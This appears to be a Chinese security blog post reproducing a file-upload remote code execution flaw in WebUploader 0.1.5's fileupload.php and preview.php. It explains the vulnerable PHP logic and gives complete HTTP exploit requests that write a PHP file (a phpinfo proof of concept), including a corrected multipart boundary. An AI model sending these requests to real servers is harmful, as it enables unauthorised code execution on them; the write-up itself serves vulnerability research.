研究这个漏洞还是一次偶然的机会。在 GitHub 上闲逛时发现了一个关于上传漏洞的讨论,本想随手复现一下,却发现一个看似简单的数据包怎么都无法成功。
POST /static/lib/webuploader/0.1.5/server/fileupload.php HTTP/2
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTqkdY1lCvbvpmown
Content-Length: 217
------WebKitFormBoundaryaKljzbg49Mq4ggLz
Content-Disposition: form-data; name=“file”; filename=“rce.php”
Content-Type: text/plain
<?php phpinfo(); ?>
------WebKitFormBoundaryaKljzbg49Mq4ggLz--
这让人颇为恼火。于是决定直接定位源码中的漏洞点,文件路径是 public/static/lib/webuploader/0.1.5/server/fileupload.php。

图1:fileupload.php 中处理文件上传的核心代码片段,涉及文件名获取与路径设置。
核心逻辑就是这几行代码。由于 filename 参数可控且 filepath 固定,下方还有 fwrite 进行文件写入,理论上可以完成上传并执行任意代码。但问题在于,上传后落地的文件都是 file_xxxxx 这样的无效文件名,这明显是走到了最后一个 else 判断分支。当时百思不得其解,只好暂时搁置,去研究其他漏洞。
接着查看了同目录下的另一个文件:public/static/lib/webuploader/0.1.5/server/preview.php。

图2:preview.php 中通过正则解析 Base64 数据并写入文件的代码逻辑。
根据箭头所指的代码逻辑,它通过正则表达式解析 POST 请求体中 base64 编码的数据,并将匹配到的 $matches[2] 赋值后进行写入。我们可以用一个简单的例子来理解:
$src = “data:image/php;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==”;
if (preg_match(“#^data:image/(\w+);base64,(.*)$#“, $src, $matches)) {
echo “图片格式:” . $matches[1] . “\n”; // 输出:php
echo “Base64 数据:” . $matches[2] . “\n”; // 输出:PD9waHAgcGhwaW5mbygpOyA/Pg==
}
最终,$matches[2],也就是我们传入的 Base64 编码的 Payload,会被传递给 file_put_contents 函数写入文件。
综上,我们可以构造出针对 preview.php 的利用载荷(Exp)如下:
POST /static/lib/webuploader/0.1.5/server/preview.php HTTP/2
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
data:image/php;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
文件上传后,其文件名将由 md5($matches[2]) 计算得出,也就是 PD9waHAgcGhwaW5mbygpOyA/Pg== 的 MD5 值(5929343857d220b81ce7e13009af704e)。实际上,即使不计算,上传成功后文件名也会在响应中回显。
回过头再审视 fileupload.php 的数据包,依然看不出症结所在。无奈之下,只得求助于 AI 进行分析……

图3:AI辅助分析指出,原始请求中的边界(boundary)字符串存在不匹配问题。
AI 的分析一针见血!问题出在 HTTP 请求头中声明的 boundary 与请求体中实际使用的 boundary 不一致。最终,修正后的正确 Exp 如下:
POST /static/lib/webuploader/0.1.5/server/fileupload.php HTTP/2
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaKljzbg49Mq4ggLz
Content-Length: 217
------WebKitFormBoundaryaKljzbg49Mq4ggLz
Content-Disposition: form-data; name=“file”; filename=“rce.php”
Content-Type: text/plain
<?php phpinfo(); ?>
------WebKitFormBoundaryaKljzbg49Mq4ggLz--
对比发现,关键在于将 Content-Type 头中的 boundary 值从 ----WebKitFormBoundaryTqkdY1lCvbvpmown 更正为与请求体一致的 ----WebKitFormBoundaryaKljzbg49Mq4ggLz。
这个案例再次印证了逆向工程中细节的重要性。很多时候,漏洞复现失败并非漏洞不存在,而是一个微小的偏差所致,例如这里边界字符串的一个字符之差。
最后的发现令人莞尔:当时在网络上流传的 PoC 竟然都是第一版错误的版本。这不禁让人感慨,有时技术传播也需要一双火眼金睛来辨别真伪。你可以在 云栈社区 的安全板块与其他安全研究者交流类似的案例与心得。

图4:网络上广泛传播的包含边界错误的漏洞复现(PoC)示例。

图5:另一个展示错误请求导致上传无效文件的示例截图。